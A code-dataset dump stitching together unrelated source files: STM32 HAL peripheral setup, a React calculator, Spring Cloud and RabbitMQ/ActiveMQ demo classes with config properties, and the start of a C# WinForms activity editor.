huart3.Init.StopBits = UART_STOPBITS_1;
huart3.Init.Parity = UART_PARITY_NONE;
huart3.Init.Mode = UART_MODE_TX_RX;
huart3.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart3.Init.OverSampling = UART_OVERSAMPLING_16;
if (HAL_UART_Init(&huart3) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN USART3_Init 2 */
/* USER CODE END USART3_Init 2 */
}
/**
* @brief USART6 Initialization Function
* @param None
* @retval None
*/
static void MX_USART6_UART_Init(void)
{
/* USER CODE BEGIN USART6_Init 0 */
/* USER CODE END USART6_Init 0 */
/* USER CODE BEGIN USART6_Init 1 */
/* USER CODE END USART6_Init 1 */
huart6.Instance = USART6;
huart6.Init.BaudRate = 115200;
huart6.Init.WordLength = UART_WORDLENGTH_8B;
huart6.Init.StopBits = UART_STOPBITS_1;
huart6.Init.Parity = UART_PARITY_NONE;
huart6.Init.Mode = UART_MODE_TX_RX;
huart6.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart6.Init.OverSampling = UART_OVERSAMPLING_16;
if (HAL_UART_Init(&huart6) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN USART6_Init 2 */
/* USER CODE END USART6_Init 2 */
}
/**
* @brief USB_OTG_FS Initialization Function
* @param None
* @retval None
*/
static void MX_USB_OTG_FS_USB_Init(void)
{
/* USER CODE BEGIN USB_OTG_FS_Init 0 */
/* USER CODE END USB_OTG_FS_Init 0 */
/* USER CODE BEGIN USB_OTG_FS_Init 1 */
/* USER CODE END USB_OTG_FS_Init 1 */
/* USER CODE BEGIN USB_OTG_FS_Init 2 */
/* USER CODE END USB_OTG_FS_Init 2 */
}
/**
* @brief GPIO Initialization Function
* @param None
* @retval None
*/
static void MX_GPIO_Init(void)
{
GPIO_InitTypeDef GPIO_InitStruct = {0};
/* GPIO Ports Clock Enable */
__HAL_RCC_GPIOE_CLK_ENABLE();
__HAL_RCC_GPIOB_CLK_ENABLE();
__HAL_RCC_GPIOG_CLK_ENABLE();
__HAL_RCC_GPIOD_CLK_ENABLE();
__HAL_RCC_GPIOC_CLK_ENABLE();
__HAL_RCC_GPIOA_CLK_ENABLE();
__HAL_RCC_GPIOI_CLK_ENABLE();
__HAL_RCC_GPIOH_CLK_ENABLE();
__HAL_RCC_GPIOF_CLK_ENABLE();
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOE, IST8310_RSTN_Pin | LED_RED_Pin, GPIO_PIN_RESET);
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOG, LASER_Pin | LED_A_Pin | LED_B_Pin | LED_C_Pin | LED_D_Pin | LED_E_Pin | LED_F_Pin | LED_G_Pin | LED_H_Pin, GPIO_PIN_RESET);
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOH, POWER1_CTRL_Pin | POWER2_CTRL_Pin | POWER3_CTRL_Pin | POWER4_CTRL_Pin, GPIO_PIN_RESET);
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOF, GPIO_PIN_10 | LED_GREEN_Pin, GPIO_PIN_RESET);
/*Configure GPIO pins : IST8310_DRDY_Pin SD_EXTI_Pin */
GPIO_InitStruct.Pin = IST8310_DRDY_Pin | SD_EXTI_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_IT_RISING;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOE, &GPIO_InitStruct);
/*Configure GPIO pins : IST8310_RSTN_Pin LED_RED_Pin */
GPIO_InitStruct.Pin = IST8310_RSTN_Pin | LED_RED_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOE, &GPIO_InitStruct);
/*Configure GPIO pins : IMU_INT_Pin KEY_Pin */
GPIO_InitStruct.Pin = IMU_INT_Pin | KEY_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_IT_RISING;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOB, &GPIO_InitStruct);
/*Configure GPIO pins : LASER_Pin LED_A_Pin LED_B_Pin LED_C_Pin
LED_D_Pin LED_E_Pin LED_F_Pin LED_G_Pin
LED_H_Pin */
GPIO_InitStruct.Pin = LASER_Pin | LED_A_Pin | LED_B_Pin | LED_C_Pin | LED_D_Pin | LED_E_Pin | LED_F_Pin | LED_G_Pin | LED_H_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOG, &GPIO_InitStruct);
/*Configure GPIO pins : PD7 PD4 PD3 PD11
PD10 */
GPIO_InitStruct.Pin = GPIO_PIN_7 | GPIO_PIN_4 | GPIO_PIN_3 | GPIO_PIN_11 | GPIO_PIN_10;
GPIO_InitStruct.Mode = GPIO_MODE_ANALOG;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOD, &GPIO_InitStruct);
/*Configure GPIO pin : PA15 */
GPIO_InitStruct.Pin = GPIO_PIN_15;
GPIO_InitStruct.Mode = GPIO_MODE_ANALOG;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOA, &GPIO_InitStruct);
/*Configure GPIO pins : PB9 PB10 PB11 PB14
PB15 */
GPIO_InitStruct.Pin = GPIO_PIN_9 | GPIO_PIN_10 | GPIO_PIN_11 | GPIO_PIN_14 | GPIO_PIN_15;
GPIO_InitStruct.Mode = GPIO_MODE_ANALOG;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOB, &GPIO_InitStruct);
/*Configure GPIO pins : PG15 PG12 PG11 PG10
PG0 */
GPIO_InitStruct.Pin = GPIO_PIN_15 | GPIO_PIN_12 | GPIO_PIN_11 | GPIO_PIN_10 | GPIO_PIN_0;
GPIO_InitStruct.Mode = GPIO_MODE_ANALOG;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOG, &GPIO_InitStruct);
/*Configure GPIO pins : PA12 PA11 PA10 */
GPIO_InitStruct.Pin = GPIO_PIN_12 | GPIO_PIN_11 | GPIO_PIN_10;
GPIO_InitStruct.Mode = GPIO_MODE_AF_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_VERY_HIGH;
GPIO_InitStruct.Alternate = GPIO_AF10_OTG_FS;
HAL_GPIO_Init(GPIOA, &GPIO_InitStruct);
/*Configure GPIO pins : PI3 PI8 PI4 PI1
PI10 PI11 */
GPIO_InitStruct.Pin = GPIO_PIN_3 | GPIO_PIN_8 | GPIO_PIN_4 | GPIO_PIN_1 | GPIO_PIN_10 | GPIO_PIN_11;
GPIO_InitStruct.Mode = GPIO_MODE_ANALOG;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOI, &GPIO_InitStruct);
/*Configure GPIO pins : PC13 PC14 PC15 PC7
PC6 */
GPIO_InitStruct.Pin = GPIO_PIN_13 | GPIO_PIN_14 | GPIO_PIN_15 | GPIO_PIN_7 | GPIO_PIN_6;
GPIO_InitStruct.Mode = GPIO_MODE_ANALOG;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOC, &GPIO_InitStruct);
/*Configure GPIO pin : PI9 */
GPIO_InitStruct.Pin = GPIO_PIN_9;
GPIO_InitStruct.Mode = GPIO_MODE_IT_RISING;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOI, &GPIO_InitStruct);
/*Configure GPIO pins : PH15 PH13 PH14 PH8
PH9 PH7 */
GPIO_InitStruct.Pin = GPIO_PIN_15 | GPIO_PIN_13 | GPIO_PIN_14 | GPIO_PIN_8 | GPIO_PIN_9 | GPIO_PIN_7;
GPIO_InitStruct.Mode = GPIO_MODE_ANALOG;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOH, &GPIO_InitStruct);
/*Configure GPIO pins : POWER1_CTRL_Pin POWER2_CTRL_Pin POWER3_CTRL_Pin POWER4_CTRL_Pin */
GPIO_InitStruct.Pin = POWER1_CTRL_Pin | POWER2_CTRL_Pin | POWER3_CTRL_Pin | POWER4_CTRL_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOH, &GPIO_InitStruct);
/*Configure GPIO pins : PF2 PF3 PF13 PF12
PF15 PF11 */
GPIO_InitStruct.Pin = GPIO_PIN_2 | GPIO_PIN_3 | GPIO_PIN_13 | GPIO_PIN_12 | GPIO_PIN_15 | GPIO_PIN_11;
GPIO_InitStruct.Mode = GPIO_MODE_ANALOG;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOF, &GPIO_InitStruct);
/*Configure GPIO pins : PF10 LED_GREEN_Pin */
GPIO_InitStruct.Pin = GPIO_PIN_10 | LED_GREEN_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOF, &GPIO_InitStruct);
/*Configure GPIO pins : PE9 PE10 */
GPIO_InitStruct.Pin = GPIO_PIN_9 | GPIO_PIN_10;
GPIO_InitStruct.Mode = GPIO_MODE_ANALOG;
GPIO_InitStruct.Pull = GPIO_NOPULL;
HAL_GPIO_Init(GPIOE, &GPIO_InitStruct);
}
/* USER CODE BEGIN 4 */
/* USER CODE END 4 */
/* USER CODE BEGIN Header_StartDefaultTask */
/**
* @brief Function implementing the defaultTask thread.
* @param argument: Not used
* @retval None
*/
/* USER CODE END Header_StartDefaultTask */
void StartDefaultTask(void const *argument)
{
/* USER CODE BEGIN 5 */
static uint8_t txbuf[2] = {0x0A};
/* Infinite loop */
for (;;)
{
HAL_I2C_Master_Transmit_DMA(&hi2c2, 0x79, txbuf, 1);
HAL_GPIO_TogglePin(LED_GREEN_GPIO_Port, LED_GREEN_Pin);
osDelay(100);
}
/* USER CODE END 5 */
}
/**
* @brief Period elapsed callback in non blocking mode
* @note This function is called when TIM14 interrupt took place, inside
* HAL_TIM_IRQHandler(). It makes a direct call to HAL_IncTick() to increment
* a global variable "uwTick" used as application time base.
* @param htim : TIM handle
* @retval None
*/
void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim)
{
/* USER CODE BEGIN Callback 0 */
/* USER CODE END Callback 0 */
if (htim->Instance == TIM14)
{
HAL_IncTick();
}
/* USER CODE BEGIN Callback 1 */
/* USER CODE END Callback 1 */
}
/**
* @brief This function is executed in case of error occurrence.
* @retval None
*/
void Error_Handler(void)
{
/* USER CODE BEGIN Error_Handler_Debug */
/* User can add his own implementation to report the HAL error return state */
/* USER CODE END Error_Handler_Debug */
}
#ifdef USE_FULL_ASSERT
/**
* @brief Reports the name of the source file and the source line number
* where the assert_param error has occurred.
* @param file: pointer to the source file name
* @param line: assert_param error line source number
* @retval None
*/
void assert_failed(uint8_t *file, uint32_t line)
{
/* USER CODE BEGIN 6 */
/* User can add his own implementation to report the file name and line number,
tex: printf("Wrong parameters value: file %s on line %d\r\n", file, line) */
/* USER CODE END 6 */
}
#endif /* USE_FULL_ASSERT */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
2ed4fa6ea7ea0c9adb8672e8dc364132cceac43a
|
[
"C"
] | 2
|
C
|
alexacw/RM18A_FreeRTOS
|
009e42d0f79a5876bbcbd0b8dac6b354d2cf1618
|
97ffdc9c9d02df981468ade6304032f7a757045e
|
refs/heads/master
|
<file_sep>import React from 'react'
import './button.scss'
const Button = ({value, number, setScreenText}) => {
return (
<div
className={number ? "button" : "button symbol"} value={value}
onClick={(e) => setScreenText(e.target)
}>
<p>{value}</p>
</div>
)
}
export default Button<file_sep>import React, {useState} from 'react';
import Button from '../Button/Button'
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faSun, faMoon } from '@fortawesome/free-solid-svg-icons'
import './styles.scss';
const App = () => {
let buttons = ['C',',','+','-','÷','*','=',9,8,7,6,5,4,3,2,1,0]
const [theme, setTheme] = useState('light');
const [screenText, setScreenText] = useState("");
const changeScreenValue = (keyPressed) => {
const value = keyPressed.querySelector('p')
? keyPressed.querySelector('p').textContent
: keyPressed.textContent
value === "C"
? setScreenText("")
: value === "="
? calculateResult()
: setScreenText(screenText + value)
};
const calculateResult = () => {
const cleanifiedText = screenText.replaceAll('÷','/').replaceAll(',','.')
setScreenText(eval(cleanifiedText).toFixed(2))
};
const toggletheme = (actualTheme) =>{
console.log(actualTheme);
actualTheme === 'light'
? setTheme('dark')
: setTheme('light');
}
return(
<div className={`background ${theme}`}>
{theme === "light"
? <FontAwesomeIcon className="theme-icon" icon={faSun} onClick={() => toggletheme(theme)} />
: <FontAwesomeIcon className="theme-icon" icon={faMoon} onClick={() => toggletheme(theme)} />
}
<div className="app">
<p className="screen">{screenText}</p>
<div className="buttons-wrapper">
{buttons.map((value) => <Button key={value} value={value} number={!isNaN(value)} setScreenText={changeScreenValue} />)}
</div>
<img src="" alt=""/>
</div>
</div>
)};
export default App;
|
e7442b406bd01dea361c77a310916af1566e6e73
|
[
"JavaScript"
] | 2
|
JavaScript
|
MaximeArn/react-calculator
|
27ecb7db362738fda3d5be360a9854a2d5190373
|
015036742b72d40aea6a7ef9c47d2b54208ffdb6
|
refs/heads/master
|
<file_sep>spring.application.name=config-server
server.port=8888
spring.cloud.config.server.git.uri=https://github.com/nickboyer/spring-cloud-config/
spring.cloud.config.server.git.searchPaths=server-config
spring.cloud.config.label=master
spring.cloud.config.server.git.username=your username
spring.cloud.config.server.git.password=<PASSWORD>
eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/
banner.charset=UTF-8<file_sep>eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/
server.port=4444
spring.application.name=eureka-client-2
<file_sep>/*
* Copyright 2014 Buyforyou.cn All rights reserved
*
* @author Kang.Y
*
* @mail
*
* @createtime 2017年10月18日 上午11:38:27
*/
package com.nickobyer.rabbitMQ.direct;
import java.text.SimpleDateFormat;
import java.util.Date;
import org.springframework.amqp.rabbit.annotation.RabbitHandler;
import org.springframework.amqp.rabbit.annotation.RabbitListener;
import org.springframework.stereotype.Component;
import com.nickobyer.rabbitMQ.entry.MQConstant;
/**
* @title
* @description
* @since JDK1.8
*/
@Component
@RabbitListener(queues = MQConstant.DEFAULT_REPEAT_TRADE_QUEUE_NAME)
public class DirectReceiver1 {
int a = 0;
@RabbitHandler
public void process(String content) {
System.out.println("===============================" + content);
SimpleDateFormat s = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
System.out.println("第" + a++ + "次接受时间" + s.format(new Date()));
}
}
<file_sep>/*
* Copyright 2014 Buyforyou.cn All rights reserved
*
* @author Kang.Y
*
* @mail
*
* @createtime 2017年10月18日 上午11:12:05
*/
package com.nickboyer.ribbitMQSpring.entry;
/**
* @title
* @description
* @since JDK1.8
*/
public final class MQConstant {
private MQConstant() {
}
// exchange name
public static final String DEFAULT_EXCHANGE = "KSHOP";
// DLX QUEUE
public static final String DEFAULT_DEAD_LETTER_QUEUE_NAME = "kshop.dead.letter.queue";
// DLX repeat QUEUE 死信转发队列
public static final String DEFAULT_REPEAT_TRADE_QUEUE_NAME = "kshop.repeat.trade.queue";
// Hello 测试消息队列名称
public static final String HELLO_QUEUE_NAME = "hello";
public static final String ROUTING_KEY_1 = "key1";
}<file_sep>/*
* Copyright 2014 Buyforyou.cn All rights reserved
*
* @author Kang.Y
*
* @mail
*
* @createtime 2017年10月18日 下午4:23:20
*/
package com.nickboyer.ribbitMQSpring;
import java.text.SimpleDateFormat;
import java.util.Date;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.amqp.AmqpException;
import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.amqp.core.MessagePostProcessor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.EnableScheduling;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
import com.nickboyer.ribbitMQSpring.entry.MQConstant;
/**
* @title
* @description
* @since JDK1.8
*/
@Component
@EnableScheduling
public class Sender {
@Autowired
private AmqpTemplate amqpTemplate;
Logger logger = LoggerFactory.getLogger(Sender.class);
int a = 1;
@Scheduled(fixedDelay = 3000) // 3s执行1次此方法;
public void run() throws Exception {
MessagePostProcessor processor = new MessagePostProcessor() {
@Override
public Message postProcessMessage(Message msg) throws AmqpException {
msg.getMessageProperties().setExpiration("5000");
return msg;
}
};
amqpTemplate.convertSendAndReceive(MQConstant.DEFAULT_EXCHANGE, MQConstant.DEFAULT_DEAD_LETTER_QUEUE_NAME, "测试延迟队列", processor);
SimpleDateFormat s = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
logger.error("第" + a++ + "次发送时间" + s.format(new Date()));
}
}
<file_sep>server.port=1111
eureka.instance.hostname=localhost
eureka.client.register-with-eureka=false
eureka.client.fetch-registry=false
eureka.client.serviceUrl.defaultZone=http://${eureka.instance.hostname}:${server.port}/eureka/
<file_sep>logging.level.root=INFO
logging.level.com.nickboyer.rabbitMQ=DEBUG
server.port=8888
spring.rabbitmq.host=localhost
spring.rabbitmq.port=5672
spring.rabbitmq.username=guest
spring.rabbitmq.password=<PASSWORD>
spring.rabbitmq.virtualHost=test
<file_sep>eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/
server.port=5555
spring.application.name=eureka-client-feign
feign.hystrix.enabled=true
<file_sep>/*
* Copyright 2014 Buyforyou.cn All rights reserved
*
* @author Kang.Y
*
* @mail
*
* @createtime 2017年10月13日 上午10:22:06
*/
package com.nickobyer.activeMQ;
import org.apache.commons.lang.SerializationUtils;
import org.springframework.jms.annotation.JmsListener;
import org.springframework.messaging.handler.annotation.Payload;
import org.springframework.stereotype.Component;
/**
* @title
* @description
* @since JDK1.8
*/
@Component
public class Receiver {
@JmsListener(destination = "activeMQ")
public void receiverMsg(@Payload byte[] p) {
Person person = (Person) SerializationUtils.deserialize(p);
System.out.println("activeMQ Receiver<" + person + ">");
}
}
<file_sep>/*
* Copyright 2014 Buyforyou.cn All rights reserved
*
* @author Kang.Y
*
* @mail
*
* @createtime 2017年10月13日 上午10:15:35
*/
package com.nickobyer.activeMQ;
import javax.jms.Destination;
import org.apache.activemq.command.ActiveMQQueue;
import org.apache.commons.lang.SerializationUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jms.core.JmsMessagingTemplate;
import org.springframework.scheduling.annotation.EnableScheduling;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
/**
* 消息发布
*
* @title
* @description
* @since JDK1.8
*/
@Component
@EnableScheduling
public class Sender {
@Autowired
private JmsMessagingTemplate jmsTemplate;
@Scheduled(fixedDelay = 1000)
public void sendMsg() {
Destination destination = new ActiveMQQueue("activeMQ");
// jmsTemplate.convertAndSend(destination, "hello activeMQ");
Person p = new Person("张三", "12");
System.err.println("Sender" + p.toString());
jmsTemplate.convertAndSend("activeMQ", SerializationUtils.serialize(p));
}
}
<file_sep>/*
* Copyright 2014 Buyforyou.cn All rights reserved
*
* @author Kang.Y
*
* @mail
*
* @createtime 2017年10月12日 下午2:36:25
*/
package com.nickobyer.rabbitMQ.topic;
import org.springframework.amqp.rabbit.annotation.RabbitHandler;
import org.springframework.amqp.rabbit.annotation.RabbitListener;
import org.springframework.messaging.handler.annotation.Payload;
import org.springframework.stereotype.Component;
/**
* @title
* @description
* @since JDK1.8
*/
@Component
@RabbitListener(queues = "topic.messages") // 启用Rabbit队列监听foo key.
public class TopicReceiver1 {
@RabbitHandler
public void reveiceMsg(@Payload String msg) {
System.out.println("Receive2<" + msg + ">+++++++++++++++++++++++");
}
}
<file_sep>eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/
server.port=3333
spring.application.name=eureka-client-1
<file_sep>/*
* Copyright 2014 Buyforyou.cn All rights reserved
*
* @author Kang.Y
*
* @mail
*
* @createtime 2017年9月21日 下午2:39:18
*/
package com.nickobyer.eurekaclientfeign;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
/**
* @title
* @description
* @since JDK1.8
*/
@RestController
public class Controller {
@Autowired
HelloMapper mapper;
@RequestMapping("/test")
public String test(@RequestParam String name) {
return mapper.test(name);
}
}
|
1dbbe20b733325d6e88dec370d58d559b1e48c56
|
[
"Java",
"INI"
] | 13
|
INI
|
nickboyer/spring-cloud
|
1c1797245dfc05ed0a8f6a314a8e5b71dbc10f7e
|
3b2a131b678e107bd383ca1b7adebc540aca68a0
|
refs/heads/master
|
<repo_name>RadostinGerdzhikov/SImple-CHESS<file_sep>/SimpleChess/js/move.js
function move(field_old, field_new, piece, data) {
field_old.find('.piece').remove();
field_new.find('.piece').remove();
const new_coords = field_new.attr('id').split('_');
const field_img = create_figure(new_coords[0], new_coords[1], data.color + '_' + data.type);
field_img.click(piece_click);
$('.field').off('click');
change_turn();
}<file_sep>/README.md
<span style="background-color: #49bf16"> [Simple chess game. Good luck! ](#yes) </span>
<file_sep>/SimpleChess/js/main.js
const $document = $(document);
let player_turn = 'w'; //w - whites; b - blacks
function piece_click() {
const piece = $(this);
const field = piece.parent();
const fields = $('.field');
const field_data = field.attr('id').split('_');
const piece_data = piece.attr('id').split('_');
const data = {
x: Number(field_data[0]),
y: Number(field_data[1]),
color: piece_data[0],
type: piece_data[1],
};
if (data.color !== player_turn)
return;
fields.removeClass('greenBG');
if (field.hasClass('selectedPiece')) {
field.removeClass('selectedPiece');
}
else {
fields.removeClass('selectedPiece');
field.addClass('selectedPiece');
select_piece(field, piece, data);
}
}
function change_turn() {
const fields = $('.field');
fields.removeClass('greenBG selectedPiece');
player_turn = player_turn === 'w' ? 'b' : 'w';
const player_king = fields.find('#' + player_turn + '_g');
if (player_king.length === 0) {
alert(player_turn === 'w' ? 'Blacks win!' : 'Whites win!');
main();
}
}
function main() {
$('#main-content').empty();
player_turn = 'w';
create_field();
initialize_field();
hints_toggle();
$('.field .piece').click(piece_click);
}
$document.ready(main);<file_sep>/SimpleChess/js/action.js
function select_piece(field, piece, data) {
const possible_moves = get_possible_moves(field, piece, data);
console.log(possible_moves);
if (possible_moves) {
for (const field_id of possible_moves) {
const field_new = $('.field#' + field_id);
field_new.addClass('greenBG');
field_new.click(function () {
move(field, field_new, piece, data);
});
}
}
}
function get_possible_moves(field, piece, data) {
switch (data.type) {
case 'p':
return select_piece_p(field, piece, data);
case 'k':
return select_piece_k(field, piece, data);
case 't':
return select_piece_t(field, piece, data);
case 'o':
return select_piece_o(field, piece, data);
case 'q':
return select_piece_q(field, piece, data);
case 'g':
return select_piece_g(field, piece, data);
default:
break;
}
}
function select_piece_p(field, piece, data) {
const possible_moves = [];
if (data.color === 'w') {
let check = collision_check(data.x, data.y - 1);
if (!check.piece && check.allowed) {
possible_moves.push(data.x + '_' + (data.y - 1));
if (data.y === 6) {
check = collision_check(data.x, data.y - 2);
if (!check.piece) {
possible_moves.push(data.x + '_' + (data.y - 2));
}
}
}
check = collision_check(data.x + 1, data.y - 1);
if (check.allowed && check.collision) {
possible_moves.push((data.x + 1) + '_' + (data.y - 1));
}
check = collision_check(data.x - 1, data.y - 1);
if (check.allowed && check.collision) {
possible_moves.push((data.x - 1) + '_' + (data.y - 1));
}
}
else if (data.color === 'b') {
let check = collision_check(data.x, data.y + 1);
if (!check.piece && check.allowed) {
possible_moves.push(data.x + '_' + (data.y + 1));
if (data.y === 1) {
check = collision_check(data.x, data.y + 2);
if (!check.piece) {
possible_moves.push(data.x + '_' + (data.y + 2));
}
}
}
check = collision_check(data.x + 1, data.y + 1);
if (check.allowed && check.collision) {
possible_moves.push((data.x + 1) + '_' + (data.y + 1));
}
check = collision_check(data.x - 1, data.y + 1);
if (check.allowed && check.collision) {
possible_moves.push((data.x - 1) + '_' + (data.y + 1));
}
}
return possible_moves;
}
function select_piece_k(field, piece, data) {
const possible_moves = [];
// Check vertical.
let check = collision_check(data.x + 1, data.y + 2);
if (check.allowed) {
possible_moves.push((data.x + 1) + '_' + (data.y + 2));
}
check = collision_check(data.x - 1, data.y + 2);
if (check.allowed) {
possible_moves.push((data.x - 1) + '_' + (data.y + 2));
}
check = collision_check(data.x + 1, data.y - 2);
if (check.allowed) {
possible_moves.push((data.x + 1) + '_' + (data.y - 2));
}
check = collision_check(data.x - 1, data.y - 2);
if (check.allowed) {
possible_moves.push((data.x - 1) + '_' + (data.y - 2));
}
// Check horizontal.
check = collision_check(data.x + 2, data.y + 1);
if (check.allowed) {
possible_moves.push((data.x + 2) + '_' + (data.y + 1));
}
check = collision_check(data.x - 2, data.y + 1);
if (check.allowed) {
possible_moves.push((data.x - 2) + '_' + (data.y + 1));
}
check = collision_check(data.x + 2, data.y - 1);
if (check.allowed) {
possible_moves.push((data.x + 2) + '_' + (data.y - 1));
}
check = collision_check(data.x - 2, data.y - 1);
if (check.allowed) {
possible_moves.push((data.x - 2) + '_' + (data.y - 1));
}
return possible_moves;
}
function select_piece_t(field, piece, data) {
const possible_moves = [];
// Up.
for (let i = data.y - 1; i >= 0; i--) {
const check = collision_check(data.x, i);
if (check.allowed) {
possible_moves.push(data.x + '_' + i);
if (check.piece) {
break;
}
}
else {
break;
}
}
// Down.
for (let i = data.y + 1; i <= 7; i++) {
const check = collision_check(data.x, i);
if (check.allowed) {
possible_moves.push(data.x + '_' + i);
if (check.piece) {
break;
}
}
else {
break;
}
}
// Right.
for (let i = data.x + 1; i <= 7; i++) {
const check = collision_check(i, data.y);
if (check.allowed) {
possible_moves.push(i + '_' + data.y);
if (check.piece) {
break;
}
}
else {
break;
}
}
// Up.
for (let i = data.x - 1; i >= 0; i--) {
const check = collision_check(i, data.y);
if (check.allowed) {
possible_moves.push(i + '_' + data.y);
if (check.piece) {
break;
}
}
else {
break;
}
}
return possible_moves;
}
function select_piece_o(field, piece, data) {
const possible_moves = [];
let x, y;
// Up - Right.
x = data.x + 1;
y = data.y - 1;
while (x <= 7 && y >= 0) {
const check = collision_check(x, y);
if (check.allowed) {
possible_moves.push(x + '_' + y);
if (check.piece) {
break;
}
}
else {
break;
}
x++;
y--;
}
// Up - Left.
x = data.x - 1;
y = data.y - 1;
while (x >= 0 && y >= 0) {
const check = collision_check(x, y);
if (check.allowed) {
possible_moves.push(x + '_' + y);
if (check.piece) {
break;
}
}
else {
break;
}
x--;
y--;
}
// Down - Right.
x = data.x + 1;
y = data.y + 1;
while (x <= 7 && y <= 7) {
const check = collision_check(x, y);
if (check.allowed) {
possible_moves.push(x + '_' + y);
if (check.piece) {
break;
}
}
else {
break;
}
x++;
y++;
}
// Down - Left.
x = data.x - 1;
y = data.y + 1;
while (x >= 0 && y <= 7) {
const check = collision_check(x, y);
if (check.allowed) {
possible_moves.push(x + '_' + y);
if (check.piece) {
break;
}
}
else {
break;
}
x--;
y++;
}
return possible_moves;
}
function select_piece_q(field, piece, data) {
const possible_collisions_1 = select_piece_t(field, piece, data);
const possible_collisions_2 = select_piece_o(field, piece, data);
return possible_collisions_1.concat(possible_collisions_2);
}
function select_piece_g(field, piece, data) {
const possible_moves = [];
let check;
// Up.
check = collision_check(data.x, data.y - 1);
if (check.allowed) {
possible_moves.push(data.x + '_' + (data.y - 1));
}
// Down.
check = collision_check(data.x, data.y + 1);
if (check.allowed) {
possible_moves.push(data.x + '_' + (data.y + 1));
}
// Right.
check = collision_check(data.x + 1, data.y);
if (check.allowed) {
possible_moves.push((data.x + 1) + '_' + data.y);
}
// Left.
check = collision_check(data.x - 1, data.y);
if (check.allowed) {
possible_moves.push((data.x - 1) + '_' + data.y);
}
// Up - Right.
check = collision_check(data.x + 1, data.y - 1);
if (check.allowed) {
possible_moves.push((data.x + 1) + '_' + (data.y - 1));
}
// Up - Left.
check = collision_check(data.x - 1, data.y - 1);
if (check.allowed) {
possible_moves.push((data.x - 1) + '_' + (data.y - 1));
}
// Down - Right.
check = collision_check(data.x + 1, data.y + 1);
if (check.allowed) {
possible_moves.push((data.x + 1) + '_' + (data.y + 1));
}
// Down - Left.
check = collision_check(data.x - 1, data.y + 1);
if (check.allowed) {
possible_moves.push((data.x - 1) + '_' + (data.y + 1));
}
return possible_moves;
}
|
d2dcde1d25965cadad6c752082cba0a1fabb7206
|
[
"JavaScript",
"Markdown"
] | 4
|
JavaScript
|
RadostinGerdzhikov/SImple-CHESS
|
dc5e3153dd055720576db418503655b3b02a03c6
|
60d1a25291d872e1587985e71f97ccca32e9df7d
|
refs/heads/master
|
<file_sep>
using SomerenLogic;
using SomerenModel;
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.Collections;
using SomerenUI.Properties;
using System.IO;
using System.Data.SqlTypes;
namespace SomerenUI
{
public partial class EditActivity : Form
{
public Activity selectedAct;
SomerenLogic.Activity_Service activityService = new SomerenLogic.Activity_Service();
public EditActivity(Activity selectedAct)
{
InitializeComponent();
this.selectedAct = selectedAct;
}
private void Btn_EditAct_Click(object sender, EventArgs e)
{
string newDescription;
Int16 newNumGuides;
Int16 newNumPart;
DateTime newDate;
List<Activity> activities = activityService.GetActivities();
if (txt_description.Text == "")
{
